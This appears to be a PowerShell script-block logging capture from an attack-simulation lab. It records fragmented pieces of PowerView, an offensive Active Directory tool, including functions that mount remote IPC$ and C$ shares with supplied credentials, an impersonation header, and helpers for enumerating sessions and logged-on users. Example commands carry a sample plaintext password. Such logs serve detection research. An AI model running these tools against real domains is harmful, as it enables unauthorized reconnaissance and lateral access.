[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switcac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111922Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local548rs['Credential']) {
try {
$Cred = $Credential.GetNetworkCredential()
Invoke-Method $Translate 'InitEx' (
$ADSInitType,
$InitName,
$Cred.UserName,
$Cred.Domain,
$Cred.Password
)
}
catch {
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_"
}
}
else {
try {
$Null = Invoke-Method $Translate 'Init' (
$ADSInitType,
$InitName
)
}
catch {
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"
}
}
# always chase all referrals
Set-Property $Translate 'ChaseReferral' (0x60)
try {
# 8 = Unknown name type -> let the server do the work for us
$Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)
Invoke-Method $Translate 'Get' ($ADSOutputType)
}
catch [System.Management.Automation.MethodInvocationException] {
Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)"
}
}
}
}
function ConvertFrom-UACValue {
<#
.SYNOPSIS
Converts a UAC int value to human readable form.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function will take an integer that represents a User Account
Control (UAC) binary blob and will covert it to an ordered
dictionary with each bitwise value broken out. By default only values
set are displayed- the -ShowAll switch will display all values with
a + next to the ones set.
.PARAMETER Value
Specifies the integer UAC value to convert.
.PARAMETER ShowAll
Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set.
.EXAMPLE
ConvertFrom-UACValue -Value 66176
Name Value
---- -----
ENCRYPTED_TEXT_PWD_ALLOWED 128
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser harmj0y | ConvertFrom-UACValue
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll
Name Value
---- -----
SCRIPT 1
ACCOUNTDISABLE 2
HOMEDIR_REQUIRED 8
LOCKOUT 16
PASSWD_NOTREQD 32
PASSWD_CANT_CHANGE 64
ENCRYPTED_TEXT_PWD_ALLOWED 128
TEMP_DUPLICATE_ACCOUNT 256
NORMAL_ACCOUNT 512+
INTERDOMAIN_TRUST_ACCOUNT 2048
WORKSTATION_TRUST_ACCOUNT 4096
SERVER_TRUST_ACCOUNT 8192
DONT_EXPIRE_PASSWORD 65536+
MNS_LOGON_ACCOUNT 131072
SMARTCARD_REQUIRED 262144
TRUSTED_FOR_DELEGATION 524288
NOT_DELEGATED 1048576
USE_DES_KEY_ONLY 2097152
DONT_REQ_PREAUTH 4194304
PASSWORD_EXPIRED 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION 16777216
PARTIAL_SECRETS_ACCOUNT 67108864
.INPUTS
Int
Accepts an integer representing a UAC binary blob.
.OUTPUTS
System.Collections.Specialized.OrderedDictionary
An ordered dictionary with the converted UAC fields.
.LINK
https://support.microsoft.com/en-us/kb/305144
#>
[OutputType('System.Collections.Specialized.OrderedDictionary')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('UAC', 'useraccountcontrol')]
[Int]
$Value,
[Switch]
$ShowAll
)
BEGIN {
# values from https://support.microsoft.com/en-us/kb/305144
$UACValues = New-Object System.Collections.Specialized.OrderedDictionary
$UACValues.Add("SCRIPT", 1)
$UACValues.Add("ACCOUNTDISABLE", 2)
$UACValues.Add("HOMEDIR_REQUIRED", 8)
$UACValues.Add("LOCKOUT", 16)
$UACValues.Add("PASSWD_NOTREQD", 32)
$UACValues.Add("PASSWD_CANT_CHANGE", 64)
$UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
$UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
$UACValues.Add("NORMAL_ACCOUNT", 512)
$UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
$UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
$UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
$UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
$UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
$UACValues.Add("SMARTCARD_REQUIRED", 262144)
$UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
$UACValues.Add("NOT_DELEGATED", 1048576)
$UACValues.Add("USE_DES_KEY_ONLY", 2097152)
$UACValues.Add("DONT_REQ_PREAUTH", 4194304)
$UACValues.Add("PASSWORD_EXPIRED", 8388608)
$UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
$UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
}
PROCESS {
$ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
if ($ShowAll) {
ForEach ($UACValue in $UACValues.GetEnumerator()) {
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
}
else {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
else {
ForEach ($UACValue in $UACValues.GetEnumerator()) {
if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) {
$ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
}
}
}
$ResultUACValues
}
}
function Get-PrincipalContext {
<#
.SYNOPSIS
Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext
and simplified identity.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.PARAMETER Identity
A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202),
or a DOMAIN\username identity.
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('GroupName', 'GroupIdentity')]
[String]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
try {
if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) {
if ($Identity -match '.+\\.+') {
# DOMAIN\groupname
$ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical
if ($ConvertedIdentity) {
$ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/'))
$ObjectIdentity = $Identity.Split('\')[1]
Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'"
}
}
else {
$ObjectIdentity = $Identity
Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'"
$ConnectTarget = $Domain
}
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password)
}
else {
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget)
}
}
else {
if ($PSBoundParameters['Credential']) {
Write-Verbose '[Get-PrincipalContext] Using alternate credentials'
$DomainName = Get-Domain | Select-Object -ExpandProperty Name
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password)
}
else {
$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)
}
$ObjectIdentity = $Identity
}
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'Context' $Context
$Out | Add-Member Noteproperty 'Identity' $ObjectIdentity
$Out
}
catch {
Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_"
}
}
function Add-RemoteConnection {
<#
.SYNOPSIS
Pseudo "mounts" a connection to a remote path using the specified
credential object, allowing for access of remote resources. If a -Path isn't
specified, a -ComputerName is required to pseudo-mount IPC$.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection
to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the
-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$.
To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path
or -ComputerName.
.PARAMETER ComputerName
Specifies the system to add a \\ComputerName\IPC$ connection for.
.PARAMETER Path
Specifies the remote \\UNC\path to add the connection for.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
$Cred = Get-Credential
Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred
.EXAMPLE
$Cred = Get-Credential
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred
#>
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
[ValidatePattern('\\\\.*\\.*')]
[String[]]
$Path,
[Parameter(Mandatory = $True)]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential
)
BEGIN {
$NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW)
$NetResourceInstance.dwType = 1
}
PROCESS {
$Paths = @()
if ($PSBoundParameters['ComputerName']) {
ForEach ($TargetComputerName in $ComputerName) {
$TargetComputerName = $TargetComputerName.Trim('\')
$Paths += ,"\\$TargetComputerName\IPC$"
}
}
else {
$Paths += ,$Path
}
ForEach ($TargetPath in $Paths) {
$NetResourceInstance.lpRemoteName = $TargetPath
Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath"
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx
# CONNECT_TEMPORARY = 4
$Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4)
if ($Result -eq 0) {
Write-Verbose "$TargetPath successfully mounted"
}
else {
Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
}
}
}
}
function Remove-RemoteConnection {
<#
.SYNOPSIS
Destroys a connection created by New-RemoteConnection.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function uses WNetCancelConnection2 to destroy a connection created by
New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to
'unmount' \\$ComputerName\IPC$.
.PARAMETER ComputerName
Specifies the system to remove a \\ComputerName\IPC$ connection for.
.PARAMETER Path
Specifies the remote \\UNC\path to remove the connection for.
.EXAMPLE
Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local'
.EXAMPLE
Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\'
.EXAMPLE
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
[ValidatePattern('\\\\.*\\.*')]
[String[]]
$Path
)
PROCESS {
$Paths = @()
if ($PSBoundParameters['ComputerName']) {
ForEach ($TargetComputerName in $ComputerName) {
$TargetComputerName = $TargetComputerName.Trim('\')
$Paths += ,"\\$TargetComputerName\IPC$"
}
}
else {
$Paths += ,$Path
}
ForEach ($TargetPath in $Paths) {
Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath"
$Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True)
if ($Result -eq 0) {
Write-Verbose "$TargetPath successfully ummounted"
}
else {
Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)"
}
}
}
}
function Invoke-UserImpersonation {
<#
.SYNOPSIS
Creates a new "runas /netonly" type logon and impersonates the token.
Author: Will Schroeder (@harmj0y)
License:ac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111920Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local348 (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() |
# Find parameters that are belong to the current parameter set
Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } |
Select-Object -ExpandProperty Key |
# Find unbound parameters in the current parameter set
Where-Object { $PSBoundParameters.Keys -notcontains $_ }
# Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified)
$tmp = $null
ForEach ($Parameter in $UnboundParameters) {
$DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0
if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) {
$PSBoundParameters.$Parameter = $DefaultValue
}
}
if($Dictionary) {
$DPDictionary = $Dictionary
}
else {
$DPDictionary = $InternalDictionary
}
# Shortcut for getting local variables
$GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0}
# Strings to match attributes and validation arguments
$AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$'
$ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$'
$AliasRegex = '^Alias$'
$ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute
switch -regex ($PSBoundParameters.Keys) {
$AttributeRegex {
Try {
$ParameterAttribute.$_ = . $GetVar
}
Catch {
$_
}
continue
}
}
if($DPDictionary.Keys -contains $Name) {
$DPDictionary.$Name.Attributes.Add($ParameterAttribute)
}
else {
$AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute]
switch -regex ($PSBoundParameters.Keys) {
$ValidationRegex {
Try {
$ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop
$AttributeCollection.Add($ParameterOptions)
}
Catch { $_ }
continue
}
$AliasRegex {
Try {
$ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop
$AttributeCollection.Add($ParameterAlias)
continue
}
Catch { $_ }
}
}
$AttributeCollection.Add($ParameterAttribute)
$Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection)
$DPDictionary.Add($Name, $Parameter)
}
}
}
End {
if(!$CreateVariables -and !$Dictionary) {
$DPDictionary
}
}
}
function Get-IniContent {
<#
.SYNOPSIS
This helper parses an .ini file into a hashtable.
Author: 'The Scripting Guys'
Modifications: @harmj0y (-Credential support)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection
.DESCRIPTION
Parses an .ini file into a hashtable. If -Credential is supplied,
then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file
is parsed, and then the connection is destroyed with Remove-RemoteConnection.
.PARAMETER Path
Specifies the path to the .ini file to parse.
.PARAMETER OutputObject
Switch. Output a custom PSObject instead of a hashtable.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
Get-IniContent C:\Windows\example.ini
.EXAMPLE
"C:\Windows\example.ini" | Get-IniContent -OutputObject
Outputs the .ini details as a proper nested PSObject.
.EXAMPLE
"C:\Windows\example.ini" | Get-IniContent
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred
.INPUTS
String
Accepts one or more .ini paths on the pipeline.
.OUTPUTS
Hashtable
Ouputs a hashtable representing the parsed .ini file.
.LINK
https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('FullName', 'Name')]
[ValidateNotNullOrEmpty()]
[String[]]
$Path,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$OutputObject
)
BEGIN {
$MappedComputers = @{}
}
PROCESS {
ForEach ($TargetPath in $Path) {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
if (Test-Path -Path $TargetPath) {
if ($PSBoundParameters['OutputObject']) {
$IniObject = New-Object PSObject
}
else {
$IniObject = @{}
}
Switch -Regex -File $TargetPath {
"^\[(.+)\]" # Section
{
$Section = $matches[1].Trim()
if ($PSBoundParameters['OutputObject']) {
$Section = $Section.Replace(' ', '')
$SectionObject = New-Object PSObject
$IniObject | Add-Member Noteproperty $Section $SectionObject
}
else {
$IniObject[$Section] = @{}
}
$CommentCount = 0
}
"^(;.*)$" # Comment
{
$Value = $matches[1].Trim()
$CommentCount = $CommentCount + 1
$Name = 'Comment' + $CommentCount
if ($PSBoundParameters['OutputObject']) {
$Name = $Name.Replace(' ', '')
$IniObject.$Section | Add-Member Noteproperty $Name $Value
}
else {
$IniObject[$Section][$Name] = $Value
}
}
"(.+?)\s*=(.*)" # Key
{
$Name, $Value = $matches[1..2]
$Name = $Name.Trim()
$Values = $Value.split(',') | ForEach-Object { $_.Trim() }
# if ($Values -isnot [System.Array]) { $Values = @($Values) }
if ($PSBoundParameters['OutputObject']) {
$Name = $Name.Replace(' ', '')
$IniObject.$Section | Add-Member Noteproperty $Name $Values
}
else {
$IniObject[$Section][$Name] = $Values
}
}
}
$IniObject
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
function Export-PowerViewCSV {
<#
.SYNOPSIS
Converts objects into a series of comma-separated (CSV) strings and saves the
strings in a CSV file in a thread-safe manner.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This helper exports an -InputObject to a .csv in a thread-safe manner
using a mutex. This is so the various multi-threaded functions in
PowerView has a thread-safe way to export output to the same file.
Uses .NET IO.FileStream/IO.StreamWriter objects for speed.
Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590
.PARAMETER InputObject
Specifies the objects to export as CSV strings.
.PARAMETER Path
Specifies the path to the CSV output file.
.PARAMETER Delimiter
Specifies a delimiter to separate the property values. The default is a comma (,)
.PARAMETER Append
Indicates that this cmdlet adds the CSV output to the end of the specified file.
Without this parameter, Export-PowerViewCSV replaces the file contents without warning.
.EXAMPLE
Get-DomainUser | Export-PowerViewCSV -Path "users.csv"
.EXAMPLE
Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'
.INPUTS
PSObject
Accepts one or more PSObjects on the pipeline.
.LINK
http://poshcode.org/1590
http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[System.Management.Automation.PSObject[]]
$InputObject,
[Parameter(Mandatory = $True, Position = 1)]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Parameter(Position = 2)]
[ValidateNotNullOrEmpty()]
[Char]
$Delimiter = ',',
[Switch]
$Append
)
BEGIN {
$OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path'])
$Exists = [System.IO.File]::Exists($OutputPath)
# mutex so threaded code doesn't stomp on the output file
$Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'
$Null = $Mutex.WaitOne()
if ($PSBoundParameters['Append']) {
$FileMode = [System.IO.FileMode]::Append
}
else {
$FileMode = [System.IO.FileMode]::Create
$Exists = $False
}
$CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read)
$CSVWriter = New-Object System.IO.StreamWriter($CSVStream)
$CSVWriter.AutoFlush = $True
}
PROCESS {
ForEach ($Entry in $InputObject) {
$ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation
if (-not $Exists) {
# output the object field names as well
$ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) }
$Exists = $True
}
else {
# only output object field data
$ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) }
}
}
}
END {
$Mutex.ReleaseMutex()
$CSVWriter.Dispose()
$CSVStream.Dispose()
}
}
function Resolve-IPAddress {
<#
.SYNOPSIS
Resolves a given hostename to its associated IPv4 address.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Resolves a given hostename to its associated IPv4 address using
[Net.Dns]::GetHostEntry(). If no hostname is provided, the default
is the IP address of the localhost.
.EXAMPLE
Resolve-IPAddress -ComputerName SERVER
.EXAMPLE
@("SERVER1", "SERVER2") | Resolve-IPAddress
.INPUTS
String
Accepts one or more IP address strings on the pipeline.
.OUTPUTS
System.Management.Automation.PSCustomObject
A custom PSObject with the ComputerName and IPAddress.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME
)
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
@(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
if ($_.AddressFamily -eq 'InterNetwork') {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ComputerName' $Computer
$Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
$Out
}
}
}
catch {
Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address."
}
}
}
}
function ConvertTo-SID {
<#
.SYNOPSIS
Converts a given user/group name to a security identifier (SID).
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain
.DESCRIPTION
Converts a "DOMAIN\username" syntax to a security identifier (SID)
using System.Security.Principal.NTAccount's translate function. If alternate
credentials are supplied, then Get-ADObject is used to try to map the name
to a security identifier.
.PARAMETER ObjectName
The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
.PARAMETER Domain
Specifies the domain to use for the translation, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the translation.
.PARAMETER Credential
Specifies an alternate credential to use for the translation.
.EXAMPLE
ConvertTo-SID 'DEV\dfm'
.EXAMPLE
'DEV\dfm','DEV\krbtgt' | ConvertTo-SID
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred
.INPUTS
String
Accepts one or more username specification strings on the pipeline.
.OUTPUTS
String
A string representing the SID of the translated name.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name', 'Identity')]
[String[]]
$ObjectName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]ac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0110310Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4141 APP_QUERY_GROUP = '0x40000001'
ACCOUNT_TYPE_MAX = '0x7fffffff'
}
# used to parse the 'grouptype' property for groups
$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{
CREATED_BY_SYSTEM = '0x00000001'
GLOBAL_SCOPE = '0x00000002'
DOMAIN_LOCAL_SCOPE = '0x00000004'
UNIVERSAL_SCOPE = '0x00000008'
APP_BASIC = '0x00000010'
APP_QUERY = '0x00000020'
SECURITY = '0x80000000'
} -Bitfield
# used to parse the 'userAccountControl' property for users/groups
$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{
SCRIPT = 1
ACCOUNTDISABLE = 2
HOMEDIR_REQUIRED = 8
LOCKOUT = 16
PASSWD_NOTREQD = 32
PASSWD_CANT_CHANGE = 64
ENCRYPTED_TEXT_PWD_ALLOWED = 128
TEMP_DUPLICATE_ACCOUNT = 256
NORMAL_ACCOUNT = 512
INTERDOMAIN_TRUST_ACCOUNT = 2048
WORKSTATION_TRUST_ACCOUNT = 4096
SERVER_TRUST_ACCOUNT = 8192
DONT_EXPIRE_PASSWORD = 65536
MNS_LOGON_ACCOUNT = 131072
SMARTCARD_REQUIRED = 262144
TRUSTED_FOR_DELEGATION = 524288
NOT_DELEGATED = 1048576
USE_DES_KEY_ONLY = 2097152
DONT_REQ_PREAUTH = 4194304
PASSWORD_EXPIRED = 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216
PARTIAL_SECRETS_ACCOUNT = 67108864
} -Bitfield
# enum used by $WTS_SESSION_INFO_1 below
$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
Active = 0
Connected = 1
ConnectQuery = 2
Shadow = 3
Disconnected = 4
Idle = 5
Listen = 6
Reset = 7
Down = 8
Init = 9
}
# the WTSEnumerateSessionsEx result structure
$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{
ExecEnvId = field 0 UInt32
State = field 1 $WTSConnectState
SessionId = field 2 UInt32
pSessionName = field 3 String -MarshalAs @('LPWStr')
pHostName = field 4 String -MarshalAs @('LPWStr')
pUserName = field 5 String -MarshalAs @('LPWStr')
pDomainName = field 6 String -MarshalAs @('LPWStr')
pFarmName = field 7 String -MarshalAs @('LPWStr')
}
# the particular WTSQuerySessionInformation result structure
$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
AddressFamily = field 0 UInt32
Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
}
# the NetShareEnum result structure
$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{
Name = field 0 String -MarshalAs @('LPWStr')
Type = field 1 UInt32
Remark = field 2 String -MarshalAs @('LPWStr')
}
# the NetWkstaUserEnum result structure
$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{
UserName = field 0 String -MarshalAs @('LPWStr')
LogonDomain = field 1 String -MarshalAs @('LPWStr')
AuthDomains = field 2 String -MarshalAs @('LPWStr')
LogonServer = field 3 String -MarshalAs @('LPWStr')
}
# the NetSessionEnum result structure
$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{
